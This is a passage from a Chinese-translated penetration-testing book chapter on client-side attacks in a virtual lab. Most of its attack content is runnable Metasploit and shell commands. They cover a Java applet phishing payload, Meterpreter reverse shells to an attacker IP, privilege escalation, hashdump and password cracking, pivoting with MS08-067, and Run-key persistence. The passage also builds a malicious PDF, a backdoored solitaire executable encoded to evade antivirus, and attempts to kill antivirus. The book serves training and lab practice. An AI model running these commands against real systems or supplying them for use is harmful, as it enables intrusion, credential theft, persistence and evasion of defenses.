有一个常见的误解是 MAC OS 没有漏洞利用。好吧,为了驳斥这一点,我们首先必须了解 MAC 是基于 Unix 的;因此,它有可能存在类似类型的漏洞。在下面的截图中显示了对漏洞利用数据库的搜索:

MAC

正如前面的截图所示,我们确实有一些可以用于 MAC 机器的 OS X 的漏洞利用。有关 MAC 平台上恶意软件的更多信息,请参考来自 Blackhat 会议的以下简要介绍:www.blackhat.com/asia-14/briefings.html#Tsai

总结

在本章中,我们讨论了评估服务器的过程。我们从查看服务器运行的常见协议开始这一章。我们研究了 FTP、电子邮件和 SSH。我们探讨了在服务器运行这些服务时如何提取信息的方法。

在探索常见协议之后,我们继续研究了数据库以及我们如何评估它们。我们研究了 MySQL、MSSQL 和 Oracle。我们发现这些最新版本都有更多的保护措施,因此,在数据库配置了安全性方面,提取信息需要一些努力。

最后,我们结束了这一章,看了不同的服务器操作系统以及根据我们发现的平台可以获得的信息。我们遇到的平台越新,我们在测试方面面临的挑战就越大。

这就结束了这一章。在下一章中,我们将看看由于供应商改进了他们的安全性,我们对攻击的更常见的向量,即客户端攻击向量。

第十二章:探索客户端攻击向量

在本章中,我们将确定我们用于攻击客户的方法。与我们的服务器不同,客户端不提供服务;因此,让客户端等待我们攻击它并不是一件简单的事情。相反,我们将使用技术让客户端前来。在本章中,我们将讨论以下主题:

  • 客户端攻击方法

  • 从客户端窃取数据

  • 使用客户端作为枢纽点

  • 客户端利用

  • 二进制有效载荷

  • 恶意 PDF 文件

  • 绕过防病毒软件和其他保护工具

  • 混淆和编码

本章将为我们提供有关我们可以瞄准客户的方式的信息。我们将探讨不同的攻击客户的方法。我们还将探讨这是目前我们在今天进行的测试后将呈现的主要攻击向量。我们知道客户在大多数情况下都会点击链接或文件,这是我们攻击客户的矢量。

客户端攻击方法

正如我们已经说过的,当涉及到客户端时,他们并不只是坐在那里等待我们的连接;因此,我们必须欺骗他们并让他们前来。我们有许多方法可以做到这一点,现在我们将讨论其中的两种。

诱饵

当我们部署诱饵技术时,我们设置某种诱饵,然后等待客户前来采取诱饵。这与钓鱼的方法类似,也就是说,我们试图放置某种诱饵并吸引客户前来。这种方法的问题与钓鱼的问题相同。我们不知道客户是否会来到我们设置诱饵的地方。

诱饵

使用诱饵概念,我们仍在试图欺骗客户前来,但我们不只是等待他们前来并采取某种形式的诱饵。相反,我们向客户发送某种形式的通信,然后等待看看他们是否被诱骗跟随我们的钩子。在这种情况下,我们有三种主要方法,它们是电子邮件、网络和 USB 媒体。这也是网络钓鱼和鱼叉式网络钓鱼中使用的方法。在这些方法中,我们向潜在受害者发送电子邮件,然后看看他们是否会点击我们发送给他们的链接。如果他们确实点击了链接,我们就让他们来到我们这里或在他们的系统上运行一个应用程序,并利用这一点来发动我们的攻击。由于我们正在进行虚拟渗透测试环境的工作,我们可以控制攻击的客户端。因此,这是一个在我们的范围内进行实验,看看什么有效和什么无效的问题。如果我们被允许在我们的工作范围内进行客户端测试,我们可以尝试发送网络钓鱼邮件和其他社会工程学方法,看看我们是否能够欺骗员工陷入我们的陷阱。

最好通过示例来展示这一点,因此我们现在将这样做。我们需要 Kali Linux 机器和一台受害者机器。在本书的示例中,我们将使用 Windows 7 机器作为受害者机器。我们将使用 Dave Kennedy 开发的社会工程工具包,您可以从www.trustedsec.com下载。这是一个出色的工具,有助于进行客户端攻击。我们将为我们的第一个示例探索 Java 攻击向量。

一旦机器启动并运行,我们将打开一个终端窗口并输入setoolkit来启动社会工程工具包。接受服务条款并输入y以继续下一个提示。菜单的示例如下屏幕截图所示:

诱饵

社会工程工具包有许多菜单需要您逐步操作,我们现在将这样做。我们将使用社会工程攻击菜单,因此输入数字1,如下面的屏幕截图所示:

诱饵

在下一个窗口中,通过输入数字2选择网站攻击向量,如下面的屏幕截图所示:

诱饵

在下一个窗口中,通过输入数字1选择Java Applet 攻击方法,如下截图所示:

诱饵

我们将使用一个模板,因此输入数字1。输入no,因为我们不使用端口转发。输入 Kali 机器的 IP 地址以便受害者回连,如下截图所示:

诱饵

在模板选项中,输入数字1选择需要 Java,如下截图所示:

诱饵

我们将输入选项号2选择 Meterpreter 反向 shell 载荷,如下截图所示:

诱饵

在编码选项中,选择选项号4,选择后门可执行文件。接受默认的监听端口 443。几秒钟后,您应该会看到一个完成消息。如下截图所示:

诱饵

一旦进程完成,metasploit 程序将运行并输入反向 shell 的配置。一旦这个过程完成,您应该会看到类似下面截图的结果:

诱饵

进程完成后显示的屏幕(裁剪的文本不重要)

如前面的截图所示,我们现在已经将利用作为后台任务运行,所以我们所要做的就是让客户端点击一个引用我们在利用中设置的 IP 地址的链接。为了我们的测试目的,我们将在 Windows 7 机器上打开一个浏览器,并输入 Kali 机器的 IP 地址。当您用浏览器连接服务器时,会弹出一个引用 Java 的对话框。如下截图所示:

诱饵

我们的意图是让受害者点击运行按钮,所以我们现在要这样做。一旦我们点击按钮,可能会弹出另一个窗口。我们不应该不得不点击超过两次。当我们返回到 Kali 机器时,我们应该会看到一个会话打开。如下截图所示:

诱饵

我们现在在机器上有一个会话,接下来要做的就是我们想要从这里做什么。我们将在下面看到这一点。

从客户端窃取数据

一旦我们获得了机器的 shell,我们将从中窃取信息。首先,我们将检查我们所处的权限级别。我们希望达到系统权限级别,这样我们就可以无障碍地访问数据。我们需要与我们的 shell 进行交互,因此在 Kali 窗口中按下Enter,然后输入sessions –i 1来访问会话。一旦进入会话,输入getuid。如下截图所示:

从客户端窃取数据

如前面的截图所示,我们没有达到系统权限级别,所以我们现在要解决这个问题。输入ps来显示受害机器上运行的进程。我们将找到一个以系统权限级别运行的进程。我们示例中的受害机器的样本如下截图所示:

从客户端窃取数据

如前面的截图所示,我们有几个进程可供选择。我们将尝试迁移Mcshield.exe进程。为此,我们输入migrate 1960并等待看我们的进程是否成功。如果成功,我们继续输入getuid。如果不成功,我们尝试另一个进程。看起来这是一个很好的进程,可以隐藏在按需杀毒扫描器中。如下截图所示:

从客户端窃取数据

正如前面的截图所示,我们已经提升了权限,现在正式拥有了这个系统。因此,我们有自由在不需要更高权限级别的情况下窃取信息。

在 Meterpreter shell 中有许多工具可以用来窃取额外的信息。我们将首先探讨的是刮刀工具。顾名思义,我们使用这个工具从被 exploit 的机器中刮取信息。以下是使用该工具的示例截图:

从客户端窃取数据

刮刀工具从被 compromise 的机器中提取了大量信息。这就是为什么提取信息和工具完成需要相当长的时间。该工具还从机器中提取密码哈希。我们可以使用hashdump命令提取此信息。以下是此过程的示例:

从客户端窃取数据

我们可以将哈希保存到文件中,然后通过密码破解工具John the Ripper或任何在线网站(如www.md5decrypter.co.uk)运行它们。一旦我们将哈希保存到文件hash.txt中,我们打开一个终端窗口并输入john hash.txt --show。这将启动密码破解过程。以下是此过程的示例:

从客户端窃取数据

显示密码破解过程的屏幕(裁剪的文本不重要)

我们还可以使用工具winenum来集中注意事实,即机器是 Windows 机器。以下是一个示例:

从客户端窃取数据

所有这些信息都保存在目录/root/.msf4/logs/scripts中。在这个目录中,您将看到以使用的工具命名的其他目录。使用 winenum 工具后找到的文件示例如下所示:

从客户端窃取数据

如前面的屏幕截图所示,我们现在已经从被 compromise 的机器中窃取了大量信息。以下是从netstat__vb.txt文件中窃取的信息的示例:

从客户端窃取数据

在前面的屏幕截图中,您可以看到机器上的连接。这包括来自我们 Kali 机器的两个连接。正如您所看到的,我们使用端口 443。这样做有几个原因。其中一些原因是:它将看起来像网络日志中的正常流量,我们将加密信息,以便监视机器是盲目的。以下是我们使用的会话的示例:

从客户端窃取数据

前面的屏幕截图显示,当我们窃取信息时,并没有显示我们实际在做什么。这使得很难确定会话中发生了什么。

使用客户端作为枢纽点

当我们 compromise 一台机器时,我们想要做的下一件事是利用客户端源。这是因为我们知道大多数网络都配置了网络架构内部位置被视为更高级别的信任,而不是网络外部的位置。我们称之为枢纽。

枢纽

要设置我们的潜在枢纽点,我们首先需要利用一台机器。然后我们需要检查机器中是否有第二个连接到另一个网络的网络卡,而我们无法在不使用我们利用的机器的情况下到达该网络。在本书的示例中,我们将使用三台机器,Kali Linux 机器作为攻击者,Windows XP 机器作为第一个受害者,Windows Server 2003 机器作为第二个受害者。情景是我们让客户端访问我们的恶意网站,并使用一个名为Use after free的漏洞针对 Microsoft Internet Explorer。这种类型的漏洞一直困扰着该产品的多个版本。以下是来自 Exploit DB 网站的示例截图:

Pivoting

列表中列出的漏洞是针对 Internet Explorer 9 的漏洞。在本书的示例中,我们将针对针对 Internet Explorer 8 的漏洞进行攻击;攻击的概念是相同的。简单来说,Internet Explorer 开发人员继续犯一个错误,那就是在分配内存后没有清理内存。

输入msfconsole启动您的 metasploit 工具。一旦控制台出现,输入search cve-2013-1347来搜索漏洞。搜索结果的示例如下截图所示:

Pivoting

一个担忧是它被评为良好,但我们喜欢在选择我们的漏洞时找到卓越或更好的评级。对于我们的目的,我们将看看是否可以让它工作。当然,总是有可能我们找不到我们需要的东西,不得不选择要么编写我们自己的漏洞,要么记录它并继续测试。

在这本书中我们使用的示例中,Kali 机器的 IP 地址是 192.168.177.170,这也是我们设置的LHOST。对于您的目的,您将不得不使用您拥有的 Kali 地址。我们将在 metasploit 窗口中输入以下命令:

use exploit/windows/browser/ie_cgenericelement_uaf
set SRVHOST 192.168.177.170
set LHOST 192.168.177.170
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

上述命令的结果示例如下截图所示:

Pivoting

如前面的截图所示,我们现在有了我们需要让用户访问的 URL。对于我们的目的,我们将在运行 Windows XP Service Pack 3 的 Internet Explorer 8 中复制并粘贴它。一旦我们粘贴了它,我们可能需要刷新浏览器几次才能使有效载荷起作用;然而,在现实生活中,我们只有一次机会,所以要谨慎选择您的漏洞,以便受害者的一次点击能够产生预期的效果。因此,要成为一个成功的测试人员,对各种漏洞的实践和知识至关重要。一旦利用完成并创建了您的会话,您应该看到的内容示例如下截图所示:

Pivoting

显示一个示例,一旦利用完成并创建了您的会话,您应该看到的内容(裁剪的文本不重要)

现在我们在机器上有一个 shell,并且我们想要检查它是否有双重主机。在 Meterpreter shell 中,输入ipconfig来查看您已经利用的机器是否有第二个网络卡。书中我们利用的机器示例如下截图所示:

Pivoting

如前面的截图所示,我们很幸运。我们有第二个连接的网络卡和另一个网络供我们探索,所以现在让我们这样做。我们必须做的第一件事是设置 shell 以路由到我们新发现的网络。这也是我们选择 Meterpreter shell 的另一个原因,它为我们提供了设置路由的能力。在 shell 中,输入run autoroute –s 10.2.0.0/24来设置到我们 10 网络的路由。一旦命令完成,我们将查看我们的路由表,并输入run autoroute –p来显示路由表。这方面的示例如下截图所示:

Pivoting

如前面的截图所示,我们现在通过会话 1 有了到我们 10 网络的路由。所以,现在是时候看看我们的 10 网络上有什么了。接下来,我们将为我们的会话 1 添加一个后台;按下Ctrl + z将会话放到后台。我们将使用 metasploit 工具内的扫描功能。输入以下命令:

use auxiliary/scanner/portscan/tcp
set RHOSTS 10.2.0.0/24
set PORTS 139,445
set THREADS 50
run

端口扫描器效率不高,扫描需要一些时间才能完成。您可以选择直接在 metasploit 中使用 Nmap 扫描器。输入nmap –sP 10.2.0.0/24。一旦确定了活动系统,对目标进行扫描方法。在我们的示例中,我们的目标位于10.2.0.149

这次扫描的结果示例如下截图所示:

枢纽

现在我们有一个目标,我们可以使用我们之前介绍的多种方法来攻击它。在这里,我们将看看是否可以利用著名的 MS08-067 服务服务器缓冲区溢出攻击目标。在 metasploit 窗口中,将会话设置为后台,并输入以下命令:

use exploit/windows/smb/ms08_067_netapi
set RHOST 10.2.0.149
set PAYLOAD windows/meterpreter/bind_tcp
exploit

如果一切顺利,您应该看到机器上打开了一个 shell。当它打开时,输入ipconfig查看机器上的网络配置。从这里开始,只是执行我们之前遵循的过程,如果您找到另一台双主机机器,那么您可以进行另一个枢纽并继续。此结果的示例如下屏幕截图所示:

枢纽

如前面的屏幕截图所示,枢纽成功了,我们现在在 metasploit 中有另一个会话打开。这反映在本地管道 | 远程管道的引用中。完成查看信息后,输入sessions以显示会话的信息。此结果的示例如下屏幕截图所示:

枢纽

代理利用

在这一部分,我们将看一下 metasploit 工具使用 HTTP 和 HTTPS 进行通信的能力。我们经常遭受的一种防御是出站或出站流量的概念。现在,通常情况下只允许出站 HTTP 和 HTTPS 流量;因此,metasploit 的开发人员已经为此创建了模块。

利用客户端配置

当我们使用技术将通信传输到我们的攻击者机器时,我们将读取客户端配置,然后通过那里配置的代理发送流量。传统上,这是一个困难的过程,需要相当长的时间来设置。因此,时间和通信要求增加了被检测到或会话超时的机会。幸运的是,我们可以探索其他附加选项来帮助我们。metasploit 的开发人员已经创建了两个分段器,允许我们利用客户端配置,并且在 Meterpreter shell 内部原生支持 HTTP 和 HTTPS 通信。此外,这些分段器提供了设置多种不同选项的能力,允许在指定的时间段内重新连接会话,通过设置会话的到期日期。

这两个分段器是reverse_httpreverse_https。这两个分段器是独特的,它们不与特定的 TCP 会话绑定,即它们提供了基于数据包的事务方法,而其他选项是基于流的。这为攻击提供了更强大的一组选项。此外,我们提供了三个选项来帮助我们确定用户何时完成,它们如下:

  • 到期日期:默认值为一周

  • 生存时间TTL):默认值为 5 分钟

  • 暴露的 API 核心:使用分离命令退出但不终止会话

这些参数允许我们断开会话并自动稍后重新连接。它们还允许我们将有效载荷设置为持久侦听器,然后即使目标重新启动或关闭,也可以连接到它。我们现在将探讨这一点。

我们将使用一个恶意可执行文件作为示例。我们可以使用多种不同的向量,如 Web、电子邮件或 USB,但为了更简单的选择,我们将使用恶意可执行文件。此外,我们将使用一个特殊的工具来创建有效载荷。如果您没有运行 metasploit,请输入msfconsole来启动该工具。一旦工具启动,输入msfvenom -p windows/meterpreter/reverse_https -f exe LHOST=192.168.177.170 LPORT=4443 > https.exe来创建名为https.exe的可执行文件。该命令的输出示例如下屏幕截图所示:

利用客户端配置

现在我们将设置处理程序。在 metasploit 中输入以下内容:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.177.170
set LPORT 4443
set SessionCommunicationTimeout 0
set ExitOnSession false
exploit –j

一旦完成,命令的示例如下截图所示:

利用客户端配置

现在我们准备让受害者运行我们的可执行文件。在我们将可执行文件移动到受害者机器后,双击文件,返回到 metasploit 处理程序,并观察结果。这一点的一个例子如下截图所示:

利用客户端配置

从这里开始,取决于我们想要做什么。在 Meterpreter shell 中输入我们之前使用过的一些命令。这里的额外好处是我们所有的通信都会传出到 4443 端口,这看起来会和正常流量一模一样。在 Kali 中,启动 Wireshark 的捕获,观察机器之间的通信。这一点的一个例子如下截图所示:

利用客户端配置

同样,如果我们想要将端口更改为 SSH、HTTPS 或任何我们认为可以离开我们正在测试的环境的端口,我们是自由的。要了解这种能力有多强大,继续让客户端与你连接。在 Meterpreter shell 中,输入detach退出会话;一旦你退出,受害者就会重新连接到你。

这一点的一个例子如下截图所示:

利用客户端配置

我们接下来要尝试的是通过将代码复制到注册表中来设置受害者,以便攻击即使在重启后也能生存。在 Meterpreter shell 中,输入以下命令:

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v evil -d 'C:\windows\https.exe'
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

使用这些命令的结果示例如下截图所示:

利用客户端配置

通过这些命令,我们首先枚举了注册表,然后设置了引用启动时的程序。正如第三个命令所示,evil程序现在位于注册表键中。当然,如果我们试图隐藏它,我们会给它取一个别的名字。我们可以通过访问 Windows XP 机器并导航到开始 | 运行 | regedit并搜索程序来验证程序是否已经植入。这一点的一个例子如下截图所示:

利用客户端配置

现在我们要重启受害者机器。重启后,连接返回到 metasploit 窗口的结果示例如下截图所示:

利用客户端配置

客户端利用

到目前为止,我们所涵盖的大部分内容都是一种客户端利用的形式。在本节中,我们将探讨更多攻击客户端的方法。我们将继续利用客户端的矢量来攻击机器,点击链接或文件并被重定向到我们的攻击者机器。在我们继续之前,我们想再次强调,在撰写本书时,我们使用了最新和最先进的攻击方法。当你阅读本书时,一些事情可能已经发生了变化。然而,唯一不变的是过程和方法论。只要你继续遵循系统化的过程,你就能发现和识别最新的技术,并相应地修改你的方法。

我们在本章中使用的先前方法的一个挑战是,我们必须根据我们遇到的软件版本选择特定的漏洞利用。我们在 Java 和 Internet Explorer 上做到了这一点。这很有效,但是如果我们不知道受害者连接到我们时系统上确切会有什么呢?你可以想象,这是一个合理的担忧。幸运的是,metasploit 出色的开发人员已经解决了这个问题。因此,他们为我们提供了一个模块,一旦连接建立,将尝试提供各种漏洞利用。这个模块就是browser_autopwn。这个强大的模块设置了一个带有库存中所有当前漏洞利用的 Web 服务器,当连接建立时,该模块会运行所有可用的漏洞利用,直到找到一个。记住,正如不能被忽视的那样,利用并不是 100%,所以有可能失败。但作为测试人员,我们必须始终尝试,并保持记录发现并继续我们的测试。

所以,让我们开始吧。在 metasploit 界面中,输入以下命令:

use auxiliary/server/browser_autopwn
set LHOST <Kali IP>
set SRVHOST <Kali IP>
set SRVPORT 80
set URIPATH /
run

URIPATH设置告诉 metasploit 不要生成随机 URL。我们希望客户端只连接到运行在 Kali 机器上的服务器的地址。以下是这些设置的示例截图:

客户端利用

一旦输入了run命令,你会注意到工具开始创建支持我们的漏洞利用的许多组件。这将需要一些时间来完成。以下是一些不同组件为漏洞利用创建的输出的示例截图:

客户端利用

在撰写本书时,我们准备了 19 个漏洞利用,作为连接受害者的准备工作的一部分。以下是示例截图:

客户端利用

我们之前没有评论过,但是一旦收到 shell,你会注意到迁移过程正在进行。这是因为当你尝试利用漏洞时,浏览器并不是非常稳定。因此,一旦获得访问权限,迁移利用是很重要的。如果浏览器崩溃或被用户关闭,对你的会话影响不大。

当客户端连接时的结果示例如下截图所示:

客户端利用

作为提醒,模块将继续触发漏洞并尝试获取会话,但不能保证一定成功。阅读本书的一些人可能会想知道,如果另一台机器连接到我们的服务器会发生什么。使用 Firefox 作为浏览器的示例,请参考以下截图:

客户端利用

从这一点开始,你所能做的就是等待,看看你是否能幸运地成功利用其中一个漏洞。如果一切顺利,最终你会看到一个会话打开。以下是示例截图:

客户端利用

现在我们有了一个 shell,我们可以执行本书中之前介绍的任何事情。到目前为止我们还没有介绍过一个,我们现在来介绍一下。使用 sessions 命令开始与 Meterpreter shell 进行交互。一旦进入 shell,输入run getcountermeasure查看客户端上有什么类型的保护。以下是示例截图:

客户端利用

我们看到机器上有一个潜在的杀毒程序,我们也看到防火墙已经打开。我们要做的第一件事是尝试关闭杀毒程序。输入run killav尝试关闭正在运行的杀毒程序。以下是示例截图:

客户端利用

正如前面的截图所示,我们没有成功,这是因为我们没有达到所需的特权级别。我们可以尝试迁移到一个进程来提升我们的特权,但这意味着我们必须额外工作来确定要迁移到哪个进程,而且我们可能不会成功。所以,让我们尝试另一种方法。正如我们不断强调的,我们有方法论;工具会随着时间和大量实践而来。在 Meterpreter shell 中,输入getsystem让工具尝试一些技术来提升特权。这方面的一个示例如下截图所示:

客户端利用

正如前面的截图所示,我们现在拥有系统,并且可以关闭我们之前检测到的保护。此外,由于权限已经提升,我们可以在这个系统上做任何我们想做的事情。我们将把这留作一个作业练习,供那些想进一步探索的人使用。

在本节中,我们将再看一件事,那就是绕过机器上的用户账户控制(UAC)的能力。正如我们之前发现的,不能保证我们会成功,但至少我们可以尝试一下。在 metasploit 工具中,如果你不再有活动会话,使用我们之前介绍的各种方法之一来利用机器,并确定会话的特权级别。一旦你做到了这一点,将会话设置为后台,并搜索一个漏洞。我们已经介绍了所有这些步骤,所以在这里我们不会再介绍它们。一旦你准备好搜索,输入search uac并搜索 UAC 绕过。

搜索结果的示例如下截图所示:

客户端利用

正如前面的截图所示,我们有许多不同的技术可用,但一个问题是,没有比 2012 年更新的内容,所以我们在利用这方面的成功可能会有限。我们可以尝试,而且由于我们有三种被评为优秀的技术,我们将使用它们。它们共同的一点是,必须启动一个会话才能尝试绕过。我们将从底部开始,逐步向上工作。搜索结果的示例如下截图所示:

客户端利用

正如前面的截图所示,我们在第一次尝试中成功了,从这一点开始,我们可以继续进行之前介绍的后期利用技术。请记住要遵守我们工作范围中详细说明的要求。

二进制有效载荷

在 metasploit 工具中,我们有能力生成自己的二进制有效载荷,这就是我们将在本节中讨论的内容。要查看这个选项,启动 metasploit 工具,输入msfpayload windows/shell_reverse_tcp O。结尾的O将显示可以为我们的有效载荷设置的选项。由于我们正在设置一个反向 shell,你可能已经对此有一个很好的想法。这个命令的输出示例如下截图所示:

二进制有效载荷

正如前面的截图所示,我们有基于我们 Kali 机器的本地机器地址的默认设置。因此,除非我们想要定义一个特定的LPORT来穿越防火墙,否则我们实际上不需要进行任何更改。对于我们的目的,我们将保持设置不变。输入msfpayload LPORT=4443 X > /tmp/chess.exe。文件创建后,我们将查看文件的详细信息。在窗口中输入file /tmp/chess.exe

这些命令的输出示例如下截图所示:

二进制有效载荷

我们现在准备进行下一步,即将文件传输到受害者机器上,以便他们可以执行它。这就是为什么我们选择了chess这个名字;看起来我们为他们准备了一个游戏。在将文件传输到机器之前,我们必须设置 metasploit 工具以接收连接。在 metasploit 窗口中,输入以下内容:

use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 192.168.177.170
set LPORT 4444
exploit

这种结果的示例如下屏幕截图所示:

二进制有效负载

我们现在已经准备好受害者连接。就像在整章中一样,我们将文件复制到受害者机器上,然后执行它。由于我们已经解释了很多次,我们将继续下一个项目。

恶意 PDF 文件

另一个常见的攻击载体是使用常见文件来托管我们的利用代码,这就是我们在恶意 PDF 文件中所做的。我们将在 PDF 文件中创建一个有效负载;当受害者使用易受攻击的 Adobe Reader 版本运行它时,我们就可以访问该机器。这种载体已经多次被用来妥协大量公司。在 metasploit 中,有许多工具可供我们使用来创建 PDF 文件。在 metasploit 中输入以下命令:

use exploit/windows/fileformat/adobe_utilprintf
set FILENAME pay.pdf
set LHOST <Kali>
set LPORT 5555
show options
exploit

此命令的输出示例如下屏幕截图所示:

恶意 PDF 文件

正如前面的屏幕截图所示,我们现在将有效负载伪装成 PDF。屏幕截图还显示,我们需要特定版本的 Adobe 才能使漏洞利用起作用。同样,我们已经经历了足够的过程,这里就不再重复了。过程是一样的;唯一的区别是我们将使用 PDF 文件作为攻击的载体。

绕过杀毒软件和其他保护工具

我们在客户端测试中面临的挑战之一是(很可能)会有端点保护措施,因此不仅有可能被抓住,还有可能被主机保护删除我们的载体。与任何基于签名的检测一样,存在一个包含已发现的不同病毒及其变种签名的数据库。当我们查看本章中使用的技术时,我们需要看看我们开发的有效负载是否会被杀毒软件检测到。

注意

一个非常有帮助的网站是www.virustotal.com

我们可以上传我们的潜在有效负载,并查看杀毒软件是否检测到它。在本章前面创建的https.exe文件的示例如下屏幕截图所示:

绕过杀毒软件和其他保护工具

正如前面的屏幕截图所示,51 个杀毒产品中有 34 个检测到了该文件。这大约占了 67%,并不是一个很好的检测率。与之前一样,我们将查看我们正在测试的网站是否有杀毒软件的版本,然后我们将查看该产品在查看文件时是否成功。以下屏幕截图显示了一些未将代码检测为恶意的产品示例:

绕过杀毒软件和其他保护工具

我们要查看的下一个文件是我们的 PDF 文件。检测能力的示例如下屏幕截图所示:

绕过杀毒软件和其他保护工具

显示检测能力的屏幕(裁剪的文本不重要)

我们对 PDF 文件的检测率甚至更低,因此我们可以通过更多产品。比二进制有效负载更高。

混淆和编码

由于我们知道我们的文件正在被检测到,我们有方法可以尝试使它们更难以被检测到,可以想象,基于签名的检测的目标是修改文件,使其不匹配签名。与以前一样,我们将查看 metasploit 提供的模块,尝试修改文件的签名。我们将查看的工具是 metasploit 中的msfencode。我们可以通过输入msfencode -h来查看工具的用法。这个命令的输出如下屏幕截图所示:

混淆和编码

我们接下来要探索的是实际的编码器本身。这个工具不仅有许多选项,而且有相当多不同的编码器,如下面的屏幕截图所示:

混淆和编码

我们将使用的最后一种技术是在可执行文件中创建后门的概念。我们喜欢这一点的原因是我们可以在任何合法的可执行文件中创建后门,当用户运行它时,它们将向我们发送一个 shell。我们将用于此实验的程序是sol.exe,即纸牌游戏程序。在使用编码器之前,我们必须从 Windows 机器上复制原始的sol.exe文件,并将其放在模板文件夹中,如下面的屏幕截图所示:

混淆和编码

一旦我们将文件放在正确的位置,我们将在可执行文件中创建后门,并再次使用msfpayloadmsfencode的组合。输入以下命令:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.177.170 LPORT=443 R | msfencode -t exe -x sol.exe -k -o sol_bdoor.exe -e x86/shikata_ga_nai -c 3

这个命令的输出示例如下屏幕截图所示:

混淆和编码

由于我们已经使用了编码器,现在我们想要看看将其上传到 Virustotal 网站后会得到什么结果。以下是一个示例:

混淆和编码

我们的编码已经非常成功。现在只有 14%的产品会检测到我们的代码,所以这比以前好多了。而且,我们只做了三次迭代。我们可能还可以进一步改进,这是你可能想要尝试的,但对于我们的目的,我们将在这里停止编码。在这一点上,你将设置多处理程序,然后执行程序;此时,受害者将连接到你的机器。这个示例如下屏幕截图所示:

混淆和编码

总结

在本章中,我们讨论了客户端攻击,随着供应商改进其安全性,这仍然是首选的方法。我们仍然可以使用本书中讨论的其他方法;随着时间的推移,服务器端攻击变得不那么有效。然而,正如我们在整本书中所说的,你必须测试所有可能性,这就是为什么我们有一个系统化的流程要遵循。我们从研究诱饵和诱饵的概念开始了本章,以便让客户端来到我们这里。

在讨论了诱饵和诱饵之后,我们研究了从客户端窃取数据的方法,也就是说,一旦我们有了 shell,我们可以从客户端提取什么。我们使用了 metasploit 中可用的一些枚举工具来完成这个任务。

在此之后,我们研究了从客户端建立一个枢纽点的强大技术,然后对我们无法访问的机器进行攻击,而这些机器是没有第一个受损机器的情况下无法访问的。

我们讨论的下一个领域是不同类型的客户端利用;我们有browser_autopwn,二进制载荷和恶意 PDF 文件。

最后,我们关闭了这一章,并研究了如何绕过杀毒软件和其他基于签名的检测产品的检测。我们在纸牌游戏程序中创建了一个带后门的可执行文件,并在程序执行后获得了对受害者机器的访问权限。

本章到此结束。在下一章中,我们将看看如何创建一个完整的架构,并将本书中的所有概念整合在一起。

第十三章:构建完整的网络范围

在本章中,我们将把所有组件放在一起,并讨论可以支持我们在整本书中涵盖的场景的架构。在本章中,我们将讨论以下主题:

  • 创建分层架构

  • 集成诱饵和蜜罐

  • 攻击网络范围

  • 记录攻击数据以进行进一步的培训和分析

本章将为我们提供一个完整的架构,我们可以用来进行测试。这个设计将允许我们插入可能需要的任何组件。此外,它将为您提供测试可能需要的所有类型的测试的能力。

创建分层架构

正如我们在整本书中讨论的那样,我们创建的范围的目标是提供能力,以磨练和提高我们的技能,这样当我们上线时,我们已经在客户可能拥有的许多类似环境中进行了练习。

架构交换

利用 VMware Workstation,我们可以利用其创建多个不同交换机的能力,这将允许我们在构建或测试范围时执行各种场景。

分割架构

我们的方法是创建一个分段架构,利用虚拟化框架内的交换机选项。此外,我们希望构建不同类型的段,以便我们可以测试平面和分层网络的组合。我们在整本书中多次讨论了这些架构。我们提出的架构范围的示例如下图所示:

分割架构

公共 DMZ

对前面的图表进行审查,我们可以看到我们的设计可以探索多种不同的架构。我们将讨论的第一个是公共 DMZ;当我们的内部网络和外部互联网之间有一个缓冲区时,就会创建这种情况。我们认为它是公共的,因为大部分时间都可以让任何想使用那里运行的服务的人访问。公共 DMZ 的位置位于周界或筛选路由器和通常运行我们防火墙软件的堡垒主机之间。对于我们的示例,这将连接到 VMnet2 子网。

此配置的示例如下图所示:

公共 DMZ

这种方法的问题在于公共 DMZ 只受筛选路由器保护,因此容易受到攻击;因此,解决这个问题的一个潜在解决方案是移动 DMZ。

私人 DMZ

作为解决公共 DMZ 保护问题的解决方案,我们可以使用私人 DMZ 或单独的子网 DMZ,有时也称为。拥有单独子网 DMZ 的概念是为公共 DMZ 提供额外的保护层。此外,这种配置还有一个额外的好处;如果在 DMZ 中通信被 compromise,那么被 compromise 的只是通过该 DMZ 传递的数据。在公共 DMZ 中情况并非如此,因为内部和外部网络之间的通信经过公共 DMZ,因此如果在该 DMZ 中有任何问题,那么数据也会受到影响。

此配置的示例如下图所示:

私人 DMZ

如前面的图表所示,我们现在有两层防御来保护放置在私人 DMZ 中的机器。话虽如此,这种方法也有一个缺点,那就是我们允许我们的公共服务通过防火墙进入。因此,带宽被所有来自互联网的流量共享。我们将在下一节中探讨这个问题的潜在解决方案。

诱饵 DMZ

正如我们之前提到的,对于私有或独立服务的子网配置,我们必须允许流量进入我们的第二层防御。现在我们将讨论诱饵 DMZ 的概念。通过这个概念,我们将公共 DMZ 保持原样,然后只在该段内放置监控设备,因为我们希望配置规则以警报我们接收到的任何不需要的流量。例如,如果我们看到任何 80 端口的目标流量,那么我们知道这是恶意的,因此我们会生成警报。

这种配置的另一个好处是,我们可以在防火墙内部为用户绑定端口,然后只在外部接口上绑定最少的端口。这种示例如下图所示:

诱饵 DMZ

前面图表中的架构的一个优势是,由于与公共 DMZ 中的服务之间的流量不与来自互联网的主要流量共享,因此网络的性能往往会提高。正如我们在整本书中都集中攻击一样,我们不会从防御的角度来讨论这些优势。然而,对于那些想要了解更多的人,可以查看我创建的高级安全培训中心部分中的高级网络防御课程。您可以在以下链接阅读更多:www.eccouncil.org/Training/advanced-security-training/courses/cast-614

集成诱饵和蜜罐

在网络上部署蜜罐和诱饵的流行度不断增长。因此,我们希望在我们的架构中部署这些,以便我们可以看到它们的反应以及我们在遇到它们时可以使用的指示。

我们可能会遇到许多不同的蜜罐,因此我们需要查看它们所表现出的特征。最好的想法是,将会有一些端口显示为打开;然而,当您连接到它们时,它们将不会如预期般响应。

